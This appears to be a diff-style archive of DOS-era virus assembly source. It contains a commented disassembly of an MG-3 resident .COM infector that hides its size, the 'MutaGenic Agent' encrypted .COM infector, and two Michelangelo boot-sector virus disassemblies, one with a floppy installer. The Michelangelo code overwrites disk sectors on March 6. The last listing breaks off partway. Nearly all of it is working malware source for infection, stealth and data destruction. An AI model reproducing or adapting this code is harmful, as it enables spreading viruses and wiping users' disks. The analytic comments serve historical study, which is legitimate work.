; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
@@ -0,0 +1,338 @@
|
||||
page ,132
|
||||
;
|
||||
; name: mg-3.vom
|
||||
;
|
||||
; program type: com/bin
|
||||
;
|
||||
; cpu type: 8086
|
||||
;
|
||||
; program loaded at 0000:01f8
|
||||
;
|
||||
; physical eof at 0000:03f5
|
||||
;
|
||||
; program entry point at 0000:01f8
|
||||
;
|
||||
fun segment
|
||||
assume cs:fun,ds:fun,es:fun,ss:fun
|
||||
;
|
||||
; references before the start of code space
|
||||
;
|
||||
org 0006h
|
||||
h_0006 label word
|
||||
org 004ch
|
||||
h_004c label word
|
||||
org 004eh
|
||||
h_004e label word
|
||||
org 0090h
|
||||
h_0090 label word
|
||||
org 0092h
|
||||
h_0092 label word
|
||||
;
|
||||
; data references to code space addresses
|
||||
;
|
||||
; org 0339h
|
||||
;h_0339 label byte
|
||||
;
|
||||
; start of program
|
||||
;
|
||||
org 01f8h
|
||||
h_01f8:
|
||||
call h_0204 ;goto virus
|
||||
nop
|
||||
mov ax,4c00h
|
||||
int 21h ;terminate program
|
||||
;
|
||||
h_0201 db 0ebh,02h,90h ;saved_prog_start
|
||||
h_0204:
|
||||
xchg ax,dx ;save ax
|
||||
pop di ;get return address
|
||||
dec di ;back by 2
|
||||
dec di ;to CALL ofs
|
||||
mov si,[di] ;get call ofs
|
||||
dec di ;back 1 to start of program
|
||||
add si,di ;call ofs plus prog start
|
||||
;= saved_prog_start
|
||||
push cs ;save cs
|
||||
push di ;and di for program start
|
||||
cld ;up!
|
||||
movsw ;replace 1st word
|
||||
movsb ;and 3rd byte of program
|
||||
mov ax,4b04h ;fn = virus ID
|
||||
int 21h ;call DOS
|
||||
jae h_027f ;OK (installed), skip this
|
||||
xor ax,ax ;get a 0
|
||||
mov es,ax ;address INT seg
|
||||
mov di,0204h ;es:di = new virus home
|
||||
mov cx,offset h_03f5-h_0204 ;virus size (01f1h)
|
||||
repz movsb ;copy virus to low mem
|
||||
les di,[0006h] ;get seg:ofs of CPMtype doscall
|
||||
mov al,0eah ;JMPF instruction
|
||||
dec cx ;cx = 0FFFFh
|
||||
repnz scasb ;find JMPF
|
||||
les di,es:[di] ;get seg:ofs to DOS
|
||||
sub di,-21h ;up to ??
|
||||
jmp 0000h:0239h ;goto virus in low memory
|
||||
h_0239:
|
||||
push es ;DOS seg
|
||||
pop ds ;to ds
|
||||
mov si,[di-04h] ;get ptr to max_dos_fn
|
||||
lodsb ;get that byte
|
||||
cmp al,68h ;at least 68?
|
||||
mov [di-03h],al ;set immediate compare value
|
||||
mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction
|
||||
mov word ptr [di-07h],0fccdh ;INT 0FCH instruction
|
||||
push cs ;current segment
|
||||
pop ds ;to ds
|
||||
mov [03fch],di ;set INT FF ofs to DOS entry
|
||||
mov [03feh],es ;and INT FF seg to DOS entry
|
||||
;BUG: need to have INT FF point to the
|
||||
; CMP AH,xx instruction they
|
||||
; have set up!!!
|
||||
mov byte ptr [h_0339],0ah ;set dosver_skip
|
||||
jnae h_026e ;not DOS 3.3+, skip this
|
||||
mov byte ptr [h_0339],00h ;reset dosver_skip
|
||||
mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector
|
||||
mov [h_07b6],cs ;and seg of saved INT 13 vector
|
||||
;in IBMBIO.COM
|
||||
;NOTE: How stable are these locations?!?!?!
|
||||
h_026e:
|
||||
mov al,0a9h ;TEST AX,xxxx instruction
|
||||
h_0270:
|
||||
repnz scasb ;find it
|
||||
cmp word ptr es:[di],-28h ;immediate value = 0FFD8h?
|
||||
;NOTE: test for illegal flag values
|
||||
jnz h_0270 ;no, try again
|
||||
mov al,18h ;new immediate value: 0FF18h
|
||||
;NOTE: remove "our" flag from illegal values
|
||||
stosb ;modify test instr
|
||||
push ss ;copy PSP seg
|
||||
pop ds ;to ds
|
||||
push ss ;and again
|
||||
pop es ;to es
|
||||
h_027f:
|
||||
xchg ax,dx ;get original AX back
|
||||
retf ;and execute infected program
|
||||
;
|
||||
; intfchere
|
||||
;
|
||||
h_0281:
|
||||
push ax ;save regs
|
||||
push dx
|
||||
push ds
|
||||
push cx
|
||||
push bx
|
||||
push es
|
||||
cmp ax,4b04h ;fn = virus ID?
|
||||
jz h_02ad ;yes, cleanup and exit NC
|
||||
xchg ax,cx ;save ax
|
||||
mov ah,2fh ;fn = get DTA
|
||||
int 0ffh ;call DOS
|
||||
cmp ch,11h ;fn = FCB find first?
|
||||
jz h_029b ;yes, stop here
|
||||
cmp ch,12h ;fn = FCB find next?
|
||||
jnz h_02b4 ;no, skip this
|
||||
h_029b:
|
||||
xchg ax,cx ;get fn back
|
||||
int 0ffh ;call to DOS
|
||||
push ax ;save return code
|
||||
test byte ptr es:[bx+13h],0c0h ;check our attribute bits
|
||||
jz h_02ac ;not set, skip this
|
||||
sub word ptr es:[bx+24h],offset h_03f5-h_0201
|
||||
;update filesize to hide virus (01f4h)
|
||||
h_02ac:
|
||||
pop ax ;restore regs
|
||||
h_02ad:
|
||||
pop es
|
||||
pop bx
|
||||
pop cx
|
||||
add sp,+0ch ;cleanup stack
|
||||
iret ;and return to caller
|
||||
;BUG: Should preserve returned flags!
|
||||
h_02b4:
|
||||
mov ah,19h ;fn = get current disk
|
||||
int 0ffh ;call to DOS
|
||||
push ax ;save disk
|
||||
cmp ch,36h ;fn = get disk free space?
|
||||
jz h_02e9 ;yes, stop here
|
||||
cmp ch,4eh ;fn = find first?
|
||||
jz h_02e0 ;yes, stop here
|
||||
cmp ch,4bh ;fn = load/execute?
|
||||
jz h_02e0 ;yes, stop here
|
||||
cmp ch,47h ;fn = get current dir?
|
||||
jnz h_02d1 ;no, skip this
|
||||
cmp al,02h ;drive >= C:?
|
||||
jae h_02ee ;yes, stop here
|
||||
h_02d1:
|
||||
cmp ch,5bh ;fn = create new file?
|
||||
jz h_02e0 ;yes, stop here
|
||||
shr ch,1 ;fn / 2
|
||||
cmp ch,1eh ;fn = 3C or 3D?
|
||||
;create file or open file?
|
||||
jz h_02e0 ;yes, stop here
|
||||
jmp h_03bb ;else continue DOS call
|
||||
h_02e0:
|
||||
mov ax,121ah ;fn = get file's drive
|
||||
xchg si,dx ;ds:si = filename
|
||||
int 2fh ;multiplex interrupt
|
||||
xchg ax,dx ;ax = old si, dx = drive
|
||||
xchg ax,si ;old si to si
|
||||
h_02e9:
|
||||
mov ah,0eh ;fn = set current disk
|
||||
dec dx ;drive A: = 0, B: = 2, etc
|
||||
int 0ffh ;call to DOS
|
||||
h_02ee:
|
||||
push es ;save dta seg
|
||||
push bx ;and dta ofs
|
||||
sub sp,+2ch ;allocate locals
|
||||
mov dx,sp ;get ptr to local DTA
|
||||
push sp ;save ptr to local DTA
|
||||
mov ah,1ah ;fn = set DTA
|
||||
push ss ;stack segment
|
||||
pop ds ;is DTA seg
|
||||
int 0ffh ;call to DOS
|
||||
mov bx,dx ;bx = ptr to DTA
|
||||
push cs ;current segment
|
||||
pop ds ;to ds
|
||||
mov ah,4eh ;fn = find first matching file
|
||||
mov dx,offset h_03e9 ;ds:dx = wildcard_com
|
||||
mov cx,0003h ;attributes = HIDDEN, Read-Only
|
||||
int 0ffh ;call to DOS
|
||||
jnae h_0319 ;error, cleanup and exit
|
||||
h_030c:
|
||||
test byte ptr ss:[bx+15h],80h ;our attribute set?
|
||||
jz h_031c ;no, continue
|
||||
;BUG: If it will re-infect a file with the
|
||||
; MG-2 attribute set, then the above
|
||||
; size change mask will FAIL!
|
||||
h_0313:
|
||||
mov ah,4fh ;fn = find next matching file
|
||||
int 0ffh ;call to DOS
|
||||
jae h_030c ;OK, check out this file
|
||||
h_0319:
|
||||
jmp h_03b2 ;cleanup and exit
|
||||
h_031c:
|
||||
cmp byte ptr ss:[bx+1bh],0fdh ;file too big?
|
||||
ja h_0313 ;yes, try next file
|
||||
mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs
|
||||
mov [0092h],cs ;and INT24HERE seg
|
||||
;NOTE: The original values are NOT saved!
|
||||
les ax,[004ch] ;get INT 13 vector
|
||||
mov [h_03f7],ax ;save oldint13ofs
|
||||
mov [h_03f9],es ;and oldint13seg
|
||||
h_0339 equ $+1 ;dosver_skip
|
||||
jmp short h_033a ;if not DOS 3.3+, skip this
|
||||
h_033a:
|
||||
mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2
|
||||
mov [004eh],cs ;and new INT 13 seg, too
|
||||
;
|
||||
; dosver_skip comes here
|
||||
;
|
||||
push ss ;DTA seg
|
||||
pop ds ;to ds
|
||||
push word ptr [bx+16h] ;save file time
|
||||
push word ptr [bx+18h] ;and file date
|
||||
push word ptr [bx+15h] ;and file attributes
|
||||
lea dx,[bx+1eh] ;ds:dx = name found in DTA
|
||||
mov ax,4301h ;fn = set file attributes
|
||||
pop cx ;get file attributes
|
||||
and cx,00feh ;high byte, R/O bit off
|
||||
or cl,0c0h ;set our attributes
|
||||
int 0ffh ;call to DOS
|
||||
mov ax,3d02h ;fn = open file for read/write
|
||||
int 0ffh ;call to DOS
|
||||
xchg ax,bx ;handle to bx
|
||||
push cs ;current segment
|
||||
pop ds ;to ds
|
||||
mov ah,3fh ;fn = read file
|
||||
mov cx,0003h ;size of saved_prog_start
|
||||
mov dx,offset h_0201 ;ds:dx = saved_prog_start
|
||||
int 0ffh ;call to DOS
|
||||
mov ax,4202h ;fn = lseek to EOF+CX:DX
|
||||
xor dx,dx ;cx:dx = 0
|
||||
mov cx,dx
|
||||
int 0ffh ;call to DOS
|
||||
mov [h_03f5],ax ;save virus_call_ofs
|
||||
mov ah,40h ;fn = write to file
|
||||
mov cx,offset h_03f5-h_0201 ;virus size (01f4h)
|
||||
mov dx,offset h_0201 ;ds:dx = this virus
|
||||
int 0ffh ;call to DOS
|
||||
jnae h_039c ;error, cleanup and quit
|
||||
mov ax,4200h ;fn = lseek to BOF+CX:DX
|
||||
xor dx,dx ;cx:dx = 0
|
||||
mov cx,dx
|
||||
int 0ffh ;call to DOS
|
||||
mov ah,40h ;fn = write to file
|
||||
mov cx,0003h ;size of virus_call
|
||||
mov dx,offset h_03f4 ;ds:dx = virus_call
|
||||
int 0ffh ;call to DOS
|
||||
h_039c:
|
||||
mov ax,5701h ;fn = set file time/date
|
||||
pop dx ;restore file date
|
||||
pop cx ;and file time
|
||||
int 0ffh ;call to DOS
|
||||
mov ah,3eh ;fn = close file
|
||||
int 0ffh ;call to DOS
|
||||
les ax,[h_03f7] ;get oldint13
|
||||
mov [004ch],ax ;restore INT 13 ofs
|
||||
mov [004eh],es ;and INT 13 seg
|
||||
h_03b2:
|
||||
add sp,+2eh ;clean stuff off stack
|
||||
pop dx ;restore old DTA ofs
|
||||
pop ds ;and old DTA seg
|
||||
mov ah,1ah ;fn = set DTA
|
||||
int 0ffh ;call to DOS
|
||||
h_03bb:
|
||||
pop dx ;get default drive back
|
||||
mov ah,0eh ;fn = set current drive
|
||||
int 0ffh ;call to DOS
|
||||
pop es ;restore regs
|
||||
pop bx
|
||||
pop cx
|
||||
pop ds
|
||||
pop dx
|
||||
pop ax
|
||||
iret ;continue INT 21
|
||||
;
|
||||
; int24here
|
||||
;
|
||||
h_03c7:
|
||||
mov al,03h ;response = FAIL
|
||||
iret ;and done
|
||||
;
|
||||
; int13here_2
|
||||
;
|
||||
h_03ca:
|
||||
cmp ah,03h ;fn = write?
|
||||
jnz h_03d6 ;no, skip this
|
||||
inc byte ptr cs:[h_03ef] ;update ??
|
||||
dec ah ;change function to read
|
||||
h_03d6:
|
||||
jmp dword ptr cs:[h_03f7] ;and continue INT 13
|
||||
;
|
||||
; int13here
|
||||
;
|
||||
h_03db:
|
||||
shr byte ptr cs:[h_03ef],1 ;update ??
|
||||
jae h_03e4 ;yes, skip this
|
||||
inc ah ;change function
|
||||
;i.e. read changes to write, etc!
|
||||
h_03e4:
|
||||
jmp dword ptr cs:[h_07b0] ;continue INT 13
|
||||
;
|
||||
h_03e9 db "* .COM" ;wildcard_com
|
||||
h_03ef db 00h
|
||||
;NOTE: location of following data CANNOT change!
|
||||
h_03f0 dw h_0281,0000h ;INT 0FCH vector!
|
||||
h_03f4 db 0e8h ;virus_call
|
||||
h_03f5 equ $
|
||||
;
|
||||
; references after the end of code space
|
||||
;
|
||||
org 03f5h
|
||||
h_03f5 label word ;virus_call_ofs
|
||||
org 03f7h
|
||||
h_03f7 label word ;oldint13ofs
|
||||
org 03f9h
|
||||
h_03f9 label word ;oldint13seg
|
||||
fun ends
|
||||
end h_01f8
|
||||
@@ -0,0 +1,174 @@
|
||||
; MutaGenic Agent - MutaGen Test Virus
|
||||
; by MnemoniX 1994
|
||||
;
|
||||
; This is an ordinary run-of-the-mill virus that infects a .COM file in
|
||||
; the current directory on run and uses MutaGen to encrypt itself.
|
||||
|
||||
MGEN_SIZE equ 1032 ; size of MutaGen
|
||||
|
||||
ID equ 'MG' ; ID word
|
||||
MAX_INFECTIONS equ 2 ; infections per run
|
||||
|
||||
extrn _MUTAGEN:near ; call MutaGen
|
||||
|
||||
code segment byte public 'code'
|
||||
org 100h
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
|
||||
start:
|
||||
db 0E9h,03h,00h ; jmp virus_begin
|
||||
dw ID
|
||||
|
||||
host:
|
||||
db 0CDh,020h,00
|
||||
|
||||
virus_begin:
|
||||
call $+3 ; BP serves as pointer
|
||||
pop bp
|
||||
sub bp,offset $-1
|
||||
|
||||
mov byte ptr [bp+offset infect],0 ; clear infection flag
|
||||
|
||||
mov ah,2Fh ; get original DTA address
|
||||
int 21h ; and save it
|
||||
push bx
|
||||
|
||||
lea dx,[bp+END_MGEN] ; set our DTA to the end of the
|
||||
mov ah,1Ah ; virus code
|
||||
int 21h
|
||||
|
||||
call infect_search ; infection routine ...
|
||||
|
||||
pop dx ; ... and we're done
|
||||
mov ah,1Ah
|
||||
int 21h
|
||||
|
||||
mov di,100h ; enter in original five bytes of host
|
||||
push di ; save DI as host address
|
||||
lea si,[bp+offset prog_len] ; get address of original host header
|
||||
mov si,[si] ; found at end of host program
|
||||
add si,100h
|
||||
movsb ; move five bytes
|
||||
movsw
|
||||
movsw
|
||||
|
||||
ret ; and call host
|
||||
|
||||
infect_search proc near
|
||||
|
||||
mov ah,4Eh ; search for first .COM file
|
||||
lea dx,[bp+com_file] ; in directory
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jnc infect_file ; none present, leave
|
||||
jmp inf_complete
|
||||
|
||||
infect_file:
|
||||
mov ax,3D02h ; .COM file found, open
|
||||
lea dx,[bp+END_MGEN+1Eh]
|
||||
int 21h
|
||||
|
||||
mov bx,ax ; file handle in BX
|
||||
mov ax,5700h ; get file date and time
|
||||
int 21h ; and save it
|
||||
push cx
|
||||
push dx
|
||||
|
||||
lea dx,[bp+orig_header] ; now read in first five bytes
|
||||
mov cx,5 ; of the file
|
||||
mov ah,3Fh
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; no, infect this file
|
||||
call move_pointer ; (this call is to save bytes)
|
||||
|
||||
cmp ax,64000
|
||||
jae infected ; file is too big, skip it
|
||||
cmp [bp+offset orig_header+3],ID
|
||||
je infected ; if previously infected, skip it
|
||||
|
||||
lea si,[bp+offset new_jump+1]
|
||||
|
||||
push [bp+offset prog_len] ; save original program length
|
||||
mov [bp+offset prog_len],ax ; store this program length
|
||||
|
||||
add ax,2
|
||||
mov [si],ax
|
||||
|
||||
lea dx,[bp+offset orig_header] ; store first five bytes of file
|
||||
mov cx,5 ; at end of file
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
; MutaGen calling routine
|
||||
push bx
|
||||
push bp
|
||||
mov dx,[si] ; MutaGen offset calculation
|
||||
add dx,103h
|
||||
mov cx,VIRUS_SIZE ; write VIRUS_SIZE bytes
|
||||
lea di,[bp+END_MGEN+80h] ; store at end of virus
|
||||
lea si,[bp+offset virus_begin]
|
||||
call _MUTAGEN
|
||||
|
||||
pop bp
|
||||
pop bx
|
||||
lea dx,[bp+offset END_MGEN+80h] ; write encrypted code
|
||||
mov ah,40h ; to file
|
||||
int 21h
|
||||
|
||||
pop [bp+offset prog_len] ; restore original program length
|
||||
|
||||
mov ax,4200h ; lastly, add our new jump instruction
|
||||
call move_pointer ; to the beginning of the file
|
||||
|
||||
lea dx,[bp+offset new_jump]
|
||||
mov cx,5 ; write five bytes to file
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
inc byte ptr [bp+offset infect] ; set infection flag
|
||||
|
||||
infected:
|
||||
pop dx ; restore time and date
|
||||
pop cx
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh ; close file
|
||||
int 21h
|
||||
|
||||
cmp byte ptr [bp+offset infect],1 ; did an infection occur?
|
||||
je inf_complete ; yes, go
|
||||
|
||||
mov ah,4Fh ; find another file
|
||||
int 21h ; and repeat
|
||||
jc inf_complete ; none found, quit
|
||||
jmp infect_file
|
||||
inf_complete:
|
||||
ret
|
||||
|
||||
|
||||
move_pointer:
|
||||
xor cx,cx ; i'm being really stingy with space
|
||||
xor dx,dx ; here ...
|
||||
int 21h
|
||||
ret
|
||||
|
||||
endp
|
||||
|
||||
com_file db '*.COM',0 ; .COM file
|
||||
orig_header db 5 dup(0) ; first three bytes of program
|
||||
new_jump db 0E9h,00,00 ; new jump instruction
|
||||
dw ID ; ID signature
|
||||
prog_len dw 3 ; length of file for return sequence
|
||||
infect db 0
|
||||
sig db '[MutaGenic Agent]',0
|
||||
|
||||
virus_end:
|
||||
|
||||
END_MGEN equ virus_end + MGEN_SIZE
|
||||
VIRUS_SIZE equ virus_end - virus_begin + MGEN_SIZE
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
; This is a disassembly of the much-hyped michelangelo virus.
|
||||
; As you can see, it is a derivative of the Stoned virus. The
|
||||
; junk bytes at the end of the file are probably throwbacks to
|
||||
; the Stoned virus. In any case, it is yet another boot sector
|
||||
; and partition table infector.
|
||||
|
||||
michelangelo segment byte public
|
||||
assume cs:michelangelo, ds:michelangelo
|
||||
; Disassembly by Dark Angel of PHALCON/SKISM
|
||||
org 0
|
||||
|
||||
jmp entervirus
|
||||
highmemjmp db 0F5h, 00h, 80h, 9Fh
|
||||
maxhead db 2 ; used by damagestuff
|
||||
firstsector dw 3
|
||||
oldint13h dd 0C8000256h
|
||||
|
||||
int13h:
|
||||
push ds
|
||||
push ax
|
||||
or dl, dl ; default drive?
|
||||
jnz exitint13h ; exit if not
|
||||
xor ax, ax
|
||||
mov ds, ax
|
||||
test byte ptr ds:[43fh], 1 ; disk 0 on?
|
||||
jnz exitint13h ; if not spinning, exit
|
||||
pop ax
|
||||
pop ds
|
||||
pushf
|
||||
call dword ptr cs:[oldint13h]; first call old int 13h
|
||||
pushf
|
||||
call infectdisk ; then infect
|
||||
popf
|
||||
retf 2
|
||||
exitint13h: pop ax
|
||||
pop ds
|
||||
jmp dword ptr cs:[oldint13h]
|
||||
|
||||
infectdisk:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov si, 4
|
||||
readbootblock:
|
||||
mov ax,201h ; Read boot block to
|
||||
mov bx,200h ; after virus
|
||||
mov cx,1
|
||||
xor dx,dx
|
||||
pushf
|
||||
call oldint13h
|
||||
jnc checkinfect ; continue if no error
|
||||
xor ax,ax
|
||||
pushf
|
||||
call oldint13h ; Reset disk
|
||||
dec si ; loop back
|
||||
jnz readbootblock
|
||||
jmp short quitinfect ; exit if too many failures
|
||||
checkinfect:
|
||||
xor si,si
|
||||
cld
|
||||
lodsw
|
||||
cmp ax,[bx] ; check if already infected
|
||||
jne infectitnow
|
||||
lodsw
|
||||
cmp ax,[bx+2] ; check again
|
||||
je quitinfect
|
||||
infectitnow:
|
||||
mov ax,301h ; Write old boot block
|
||||
mov dh,1 ; to head 1
|
||||
mov cl,3 ; sector 3
|
||||
cmp byte ptr [bx+15h],0FDh ; 360k disk?
|
||||
je is360Kdisk
|
||||
mov cl,0Eh
|
||||
is360Kdisk:
|
||||
mov firstsector,cx
|
||||
pushf
|
||||
call oldint13h
|
||||
jc quitinfect ; exit on error
|
||||
mov si,200h+offset partitioninfo
|
||||
mov di,offset partitioninfo
|
||||
mov cx,21h ; Copy partition table
|
||||
cld
|
||||
rep movsw
|
||||
mov ax,301h ; Write virus to sector 1
|
||||
xor bx,bx
|
||||
mov cx,1
|
||||
xor dx,dx
|
||||
pushf
|
||||
call oldint13h
|
||||
quitinfect:
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
entervirus:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
cli
|
||||
mov ss,ax
|
||||
mov ax,7C00h ; Set stack to just below
|
||||
mov sp,ax ; virus load point
|
||||
sti
|
||||
push ds ; save 0:7C00h on stack for
|
||||
push ax ; later retf
|
||||
mov ax,ds:[13h*4]
|
||||
mov word ptr ds:[7C00h+offset oldint13h],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov word ptr ds:[7C00h+offset oldint13h+2],ax
|
||||
mov ax,ds:[413h] ; memory size in K
|
||||
dec ax ; 1024 K
|
||||
dec ax
|
||||
mov ds:[413h],ax ; move new value in
|
||||
mov cl,6
|
||||
shl ax,cl ; ax = paragraphs of memory
|
||||
mov es,ax ; next line sets seg of jmp
|
||||
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
|
||||
mov ax,offset int13h
|
||||
mov ds:[13h*4],ax
|
||||
mov ds:[13h*4+2],es
|
||||
mov cx,offset partitioninfo
|
||||
mov si,7C00h
|
||||
xor di,di
|
||||
cld
|
||||
rep movsb ; copy to high memory
|
||||
; and transfer control there
|
||||
jmp dword ptr cs:[7C00h+offset highmemjmp]
|
||||
; destination of highmem jmp
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
int 13h ; reset disk
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,201h
|
||||
mov bx,7C00h
|
||||
mov cx,firstsector
|
||||
cmp cx,7 ; hard disk infection?
|
||||
jne floppyboot ; if not, do floppies
|
||||
mov dx,80h ; Read old partition table of
|
||||
int 13h ; first hard disk to 0:7C00h
|
||||
jmp short exitvirus
|
||||
floppyboot:
|
||||
mov cx,firstsector ; read old boot block
|
||||
mov dx,100h ; to 0:7C00h
|
||||
int 13h
|
||||
jc exitvirus
|
||||
push cs
|
||||
pop es
|
||||
mov ax,201h ; read boot block
|
||||
mov bx,200h ; of first hard disk
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h
|
||||
jc exitvirus
|
||||
xor si,si
|
||||
cld
|
||||
lodsw
|
||||
cmp ax,[bx] ; is it infected?
|
||||
jne infectharddisk ; if not, infect HD
|
||||
lodsw ; check infection
|
||||
cmp ax,[bx+2]
|
||||
jne infectharddisk
|
||||
exitvirus:
|
||||
xor cx,cx ; Real time clock get date
|
||||
mov ah,4 ; dx = mon/day
|
||||
int 1Ah
|
||||
cmp dx,306h ; March 6th
|
||||
je damagestuff
|
||||
retf ; return control to original
|
||||
; boot block @ 0:7C00h
|
||||
damagestuff:
|
||||
xor dx,dx
|
||||
mov cx,1
|
||||
smashanothersector:
|
||||
mov ax,309h
|
||||
mov si,firstsector
|
||||
cmp si,3
|
||||
je smashit
|
||||
mov al,0Eh
|
||||
cmp si,0Eh
|
||||
je smashit
|
||||
mov dl,80h ; first hard disk
|
||||
mov maxhead,4
|
||||
mov al,11h
|
||||
smashit:
|
||||
mov bx,5000h ; random memory area
|
||||
mov es,bx ; at 5000h:5000h
|
||||
int 13h ; Write al sectors to drive dl
|
||||
jnc skiponerror ; skip on error
|
||||
xor ah,ah ; Reset disk drive dl
|
||||
int 13h
|
||||
skiponerror:
|
||||
inc dh ; next head
|
||||
cmp dh,maxhead ; 2 if floppy, 4 if HD
|
||||
jb smashanothersector
|
||||
xor dh,dh ; go to next head/cylinder
|
||||
inc ch
|
||||
jmp short smashanothersector
|
||||
infectharddisk:
|
||||
mov cx,7 ; Write partition table to
|
||||
mov firstsector,cx ; sector 7
|
||||
mov ax,301h
|
||||
mov dx,80h
|
||||
int 13h
|
||||
jc exitvirus
|
||||
mov si,200h+offset partitioninfo ; Copy partition
|
||||
mov di,offset partitioninfo ; table information
|
||||
mov cx,21h
|
||||
rep movsw
|
||||
mov ax,301h ; Write to sector 8
|
||||
xor bx,bx ; Copy virus to sector 1
|
||||
inc cl
|
||||
int 13h
|
||||
;* jmp short 01E0h
|
||||
db 0EBh, 32h ; ?This should crash?
|
||||
; The following bytes are meaningless.
|
||||
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
|
||||
partitioninfo: db 42h dup (0)
|
||||
michelangelo ends
|
||||
end
|
||||
|
||||
@@ -0,0 +1,386 @@
|
||||
;virus date 12/31/93
|
||||
;disassembly of 1 version of the MICHElANGLO VIRUS
|
||||
;michelangelo with a loader that will put the virus
|
||||
;on a disk in drive b: will work correctly on 360 or 1.2meg disks
|
||||
;loads orginal boot at last sector on those type of disks
|
||||
;warning if computer date is march 6 on boot up with virus it will
|
||||
;try to infect hard drive then write system info on
|
||||
;to disks destroying the information on disk
|
||||
;
|
||||
;
|
||||
;to load virus onto A drive alter the equ disk_dr to 00
|
||||
|
||||
int13_IP EQU 0004CH ;interrupt 13H location
|
||||
int13_CS EQU 0004EH
|
||||
|
||||
|
||||
MICHA SEGMENT BYTE
|
||||
ASSUME CS:MICHA, DS:MICHA, ES:MICHA, SS:MICHA
|
||||
|
||||
;*****************************************************************************
|
||||
;loader program
|
||||
disk_dr equ 01 ;01 disk b 00 disk a
|
||||
|
||||
ORG 100H
|
||||
|
||||
START: MOV DL,DISK_DR
|
||||
XOR SI,SI
|
||||
|
||||
XOR AX,AX ; RESET DRIVE
|
||||
INT 13H
|
||||
INC SI
|
||||
AGAIN:
|
||||
MOV AX,201H ;READ BOOT INTO BUFFER
|
||||
MOV BX,OFFSET BUFF
|
||||
MOV CX,01
|
||||
MOV Dh,00
|
||||
mov dl,disk_dr
|
||||
INT 13H
|
||||
JNC ALRIGHT
|
||||
|
||||
CMP SI,4
|
||||
JA ERROR_WRITE
|
||||
|
||||
xor ax,ax
|
||||
int 13h
|
||||
JMP AGAIN
|
||||
ALRIGHT:
|
||||
MOV AX,301H ; WRITE BOOT TO
|
||||
MOV Dh,01 ; LAST SECTOR OF
|
||||
MOV CL,03 ; DIR
|
||||
mov dl,disk_dr ; WHICH DISK
|
||||
CMP BYTE PTR [BX+15H],0FDH ; TYPE OF DISK HIGH LOW
|
||||
JZ LOW_DENSW ;
|
||||
|
||||
MOV CL,0EH
|
||||
|
||||
LOW_DENSW:
|
||||
MOV [LOC_ORG_BOOT],CX ; SETUP VIRUS FOR TYPE
|
||||
INT 13H ; DISK DRIVE
|
||||
|
||||
XOR AX,AX ; RESET DRIVE
|
||||
INT 13H
|
||||
|
||||
MOV AX,0301H ;WRITE VIRUS
|
||||
MOV BX,OFFSET M_START ; TO BOOT SECTOR
|
||||
mov cx,01
|
||||
mov Dh,00
|
||||
mov dl,disk_dr
|
||||
INT 13H
|
||||
JNC FINI
|
||||
|
||||
ERROR_WRITE: MOV AH,9
|
||||
MOV DX,OFFSET ERROR_MESS
|
||||
INT 21H
|
||||
|
||||
|
||||
FINI:
|
||||
INT 20H ;EXIT
|
||||
|
||||
ERROR_MESS DB 'SORRY THERE IS A PROBLEM CHECK DRIVE DOOR'
|
||||
DB 'OR TRY ANOTHER DISK',24H
|
||||
|
||||
BUFF DB 200H DUP (90) ;BUFFER FOR R/W OF DISK
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
ORG 0413H
|
||||
MEM_SIZE DW ? ;memory size in kilobytes
|
||||
|
||||
ORG 043FH
|
||||
MOTOR_STATUS DB ? ;floppy disk motor status
|
||||
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
ORG 7C00H
|
||||
M_START:
|
||||
JMP START1
|
||||
|
||||
JMP_HI_MEM DW OFFSET HI_MEM - 7C00H
|
||||
HIGH_SEG DW 0
|
||||
|
||||
DESTROY_CNT DB 02
|
||||
|
||||
LOC_ORG_BOOT DW 000EH ;HIGH DENS
|
||||
|
||||
OLD_INT13_IP DW 0
|
||||
OLD_INT13_CS DW 0
|
||||
|
||||
VIR_INT13:
|
||||
PUSH DS ; SAVE REGS
|
||||
PUSH AX ;
|
||||
OR DL,DL ; IS IT DISK DRIVE A
|
||||
JNZ BIOS_INT13 ; NO
|
||||
|
||||
XOR AX,AX ;CHECK MOTOR STATUS
|
||||
MOV DS,AX ; IS MOTOR RUNNING
|
||||
TEST BYTE PTR DS:[MOTOR_STATUS],01 ;
|
||||
JNZ BIOS_INT13 ; YES
|
||||
|
||||
POP AX ; LET
|
||||
POP DS ; THE INT CALL
|
||||
PUSHF ; GO BUT RETURN
|
||||
